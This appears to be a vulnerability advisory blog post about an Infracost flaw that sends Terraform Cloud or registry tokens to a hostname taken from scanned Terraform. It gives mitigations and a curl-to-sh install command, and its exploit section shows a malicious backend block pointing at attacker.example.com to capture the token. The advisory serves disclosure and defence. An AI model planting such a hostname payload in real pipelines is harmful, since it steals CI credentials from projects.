Listen to this Post
Sensitive information exposure (CWE-522) exists in the Infracost Terraform Cloud/Enterprise integration. Several code paths within `internal/hcl/remote_variables_loader.go` and related request paths attach a configured secret token—either a Terraform Cloud/Enterprise token or a Terragrunt registry token—to an HTTP request. The destination host for this request is taken directly from the scanned Terraform configuration, with no validation that the host matches the configured trusted endpoint.
The vulnerability is triggered when a Terraform Cloud/Enterprise or registry token is present in the CI run. Under the standard `on: pull_request` workflow documented by Infracost, fork pull requests execute without secrets, so no token is present and the vulnerability cannot be exploited. However, token disclosure becomes possible under pull_request_target, same-repository pull requests, or other CI configurations that provide the token alongside untrusted Terraform content. In the case of untrusted fork pull requests, exploitation typically requires a maintainer to approve the workflow run.
An attacker can supply malicious Terraform that sets the hostname to their own domain. When Infracost scans this Terraform in a privileged CI context, the configured token is attached to a request destined for the attacker-controlled host, disclosing the token as a Bearer credential. Standard fork `pull_request` workflows without secrets are not exposed. The patch, implemented in v0.10.45 (3590), scopes token attachment exclusively to the configured trusted host. If the destination host does not match, Infracost refuses to send the token and skips remote variable loading.
DailyCVE Form:
Platform: Infracost CLI / CI
Version: < 0.10.45
Vulnerability: Token disclosure (CWE-522)
Severity: Medium (CVSS 5.9)
Date: 2026-08-21
Prediction: Already patched (2026-07-03)
What Undercode Say:
Check your Infracost version:
infracost --version
Upgrade to patched version:
Official script curl -fsSL https://raw.githubusercontent.com/infracost/infracost/master/scripts/install.sh | sh Homebrew brew upgrade infracost Docker docker pull infracost/infracost:latest
Verify GitHub Actions workflow trigger:
Check for vulnerable trigger in .github/workflows/ grep -r "pull_request_target" .github/workflows/
Exploit: (Educational Purposes!)
An attacker submits a pull request containing Terraform with a malicious hostname:
malicious/main.tf
terraform {
backend "remote" {
hostname = "attacker.example.com"
organization = "victim-org"
workspaces { name = "prod" }
}
}
When a CI run with `pull_request_target` executes Infracost against this Terraform, the Terraform Cloud token is attached to a request sent to attacker.example.com, where the attacker can capture it.
Protection:
- Upgrade to Infracost v0.10.45 or later immediately
- Use `on: pull_request` instead of `pull_request_target` in GitHub Actions workflows where possible
- Pin organization, workspace, and host in Infracost configuration so the `.tf` hostname is ignored
- Keep Terraform Cloud and registry tokens out of runs that process untrusted pull request content
Impact:
Exposure of Terraform Cloud/Enterprise or Terragrunt registry tokens to attacker-controlled hosts. An attacker who obtains these tokens can impersonate the victim, access Terraform Cloud workspaces, manipulate infrastructure state, or exfiltrate sensitive configuration data. The impact is limited to CI configurations that provide secrets alongside untrusted Terraform, such as `pull_request_target` or same-repository pull requests.
🎯Let’s Practice Exploiting & Learn Patching For Free:
🎓 Live Courses & Certifications:
Join Undercode Academy for Verified Certifications
🚀 Request a Custom Project:
Secure, high-velocity infrastructure and disruptive technological engineering. Contact our engineering team for high-tier development and proprietary systems:
[email protected]
💎 Smart Architecture | 🛡️ Secure by Design | ⭐ Trusted by Thousands
Sources:
Reported By: github.com
Extra Source Hub:
Undercode
